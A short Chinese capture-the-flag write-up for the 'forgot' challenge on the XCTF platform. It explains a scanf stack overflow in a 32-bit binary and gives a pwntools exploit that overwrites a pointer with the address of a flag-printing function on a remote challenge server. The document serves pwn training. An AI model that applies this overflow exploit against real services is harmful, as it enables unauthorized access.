攻防世界2

forgot

发现是32位文件

fgets(s, 32, stdin)限制读入32位字符,无法利用

__isoc99_scanf("%s", v2) 典型的栈溢出

发现cat flag

覆盖v2-v3,覆盖为cat flag的函数地址

exp:

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','56662')
door = 0x80486CC
io.recvuntil(b'>')
payload = b'aaaa'
io.sendline(payload)
io.recvuntil(b'>')
padding = b'a'*(0x74-0x54+0x4)
payload1 = padding + p32(door)
io.sendline(payload1)
io.interactive()
相关推荐
️️(^~^)2 分钟前
LVS实验
linux·服务器·lvs
悠闲蜗牛�4 分钟前
边缘AI推理实战:从服务器到嵌入式设备的模型部署与优化
运维·服务器·人工智能
qianshanxue1138 分钟前
--components=main,contrib,non-free什么意思
linux
shawnyz1 小时前
Nginx的源码编译
运维·nginx
gx23481 小时前
1-LVS
linux·服务器·lvs
The️1 小时前
Linux驱动开发之Read_Write函数
linux·运维·服务器·驱动开发·ubuntu·交互
fengtangjiang2 小时前
国产操作系统安装tomcat
linux·运维·tomcat
尘似鹤2 小时前
linux驱动学习---竞争与并发(原子操作与各种锁)
linux·学习
牛奶咖啡132 小时前
DevOps自动化运维实践_使用再生龙对Linux系统进行备份还原
运维·自动化·devops·linux系统的备份还原·linux系统克隆备份·再生龙
Starry_hello world2 小时前
Linux 信号量
linux·运维